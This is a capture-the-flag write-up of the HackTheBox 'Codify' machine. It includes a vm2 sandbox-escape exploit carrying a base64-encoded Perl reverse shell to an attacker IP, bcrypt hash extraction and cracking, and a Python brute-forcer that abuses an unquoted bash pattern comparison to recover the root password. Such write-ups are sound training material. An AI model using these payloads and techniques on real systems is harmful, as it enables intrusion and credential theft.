💻Codify

Enumeration

First, we run an Nmap scan to identify running services.

sudo nmap -sS -sC -sV -p- --min-rate 4500 --max-rtt-timeout 1500ms codify.htb
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Codify
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looks like we have SSH, Apache, and a NodeJS web application running. Browsing to http://codify.htb:3000 reveals the web app to be a Javascript sandbox using the vm2 library. Specifically, they link us to vm2@3.9.16 version.

Exploitation

A quick Google search reveals that vm2 version 3.9.16 is vulnerable to remote code execution (https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244#proof-of-concept). We can simply modify the Proof-of-Concept (PoC) code to whatever we want. In this case, probably a reverse shell.

First, we need to listen on port 8888

ncat -lvnp 8888

Now, we can create our payload and modify the PoC. I tried a few different methods (nc, ncat, bin/bash, etc), but Perl was the one that worked for me. Base64 encoding it also helps because we do not need to worry about escaping quotes.

err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync("echo 'cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuMjA0IjskcD04ODg4O3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jw==' | base64 -d | sh");
}

Once we "Run" this, we should notice a connection on our reverse shell as svc user.

Privilege Escalation

Taking a look at the /home directory, there are two users: joshua and svc. svc doesn't have anything interesting, so we first need to privesc to joshua. The first thing I noticed was a ~/.pm2 directory. Inside, was a dump.pm2.bak:

cat ~/.pm2/dump.pm2.bak

There wasn't anything super interesting, but it did reveal that the Node application is in /var/www, so let's visit there next. Knowing we need to become joshua, I figured it might be some sort of stored credentials in a config file.

grep -r -i "joshua" /var/www

We'll get that there is a match in /var/www/contact/tickets.db, which is a SQLite database file. We could analyze the file with a database viewer, but strings works fine for our case.

strings /var/www/contact/tickets.db

We'll see a line that looks awfully similar to a Hash:

joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

With this, we can send it over to Hashcat to crack for us. The $2a is a Bcrypt hash format (-m 3200) and we'll just use rockyou.txt.

hashcat.exe -m 3200 hash rockyou.txt

And the password for joshua is spongebob1

Privilege Escalation (root)

Let's finally get out of this reverse shell and just SSH as joshua.

ssh joshua@codify.htb

Next, let's figure out what we can run as sudo:

sudo -l
User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Looks like there is a backup script that we can run. My first idea was to overwrite the file, but we don't have write permission, only read.

cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

I spent a bit of time here. My first intuition was to somehow print $DB_PASS, perhaps by debugging with set -x, but we can't execute bash -x as sudo, so that didn't go anywhere. After some digging, I found that the $DB_PASS == $USER_PASS is insecure. When doing string comparisons in bash, they should be quoted to perform strict comparisons. However, because it isn't, it is doing the comparison via pattern matching. For example, if DB_PASS = "hello", and we input "h*" as USER_PASS, it would evaluate to true. We can write a short Python script to bruteforce the password:

import string
import subprocess

characters = string.ascii_letters + string.digits
password = ""
found = False

while not found:
    for character in characters:
        attempt = password + character
        command = f"echo '{attempt}*' | sudo /opt/scripts/mysql-backup.sh"
        result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

        if "Password confirmed!" in result.stdout:
            password = attempt
            print(f"Found password: {password}")
            break
    else:
        found = True

We create our own alphabet (a-Z0-9) and try that appended with '*' as our password. If we get the "Password confirmed!" in our output, we know that the matching is valid, and that character is correct. We can iterate through this, slowly building our string until it no character gives us a "Password confirmed", which then we assume means we have built the full password.

Found password: k
Found password: kl
Found password: klj
Found password: kljh
Found password: kljh1
Found password: kljh12
Found password: kljh12k
Found password: kljh12k3
Found password: kljh12k3j
Found password: kljh12k3jh
Found password: kljh12k3jha
Found password: kljh12k3jhas
Found password: kljh12k3jhask
Found password: kljh12k3jhaskj
Found password: kljh12k3jhaskjh
Found password: kljh12k3jhaskjh1
Found password: kljh12k3jhaskjh12
Found password: kljh12k3jhaskjh12k
Found password: kljh12k3jhaskjh12kj
Found password: kljh12k3jhaskjh12kjh
Found password: kljh12k3jhaskjh12kjh3

All we need to do now is switch to root using this password, and we have pwned the box :)

su root

Last updated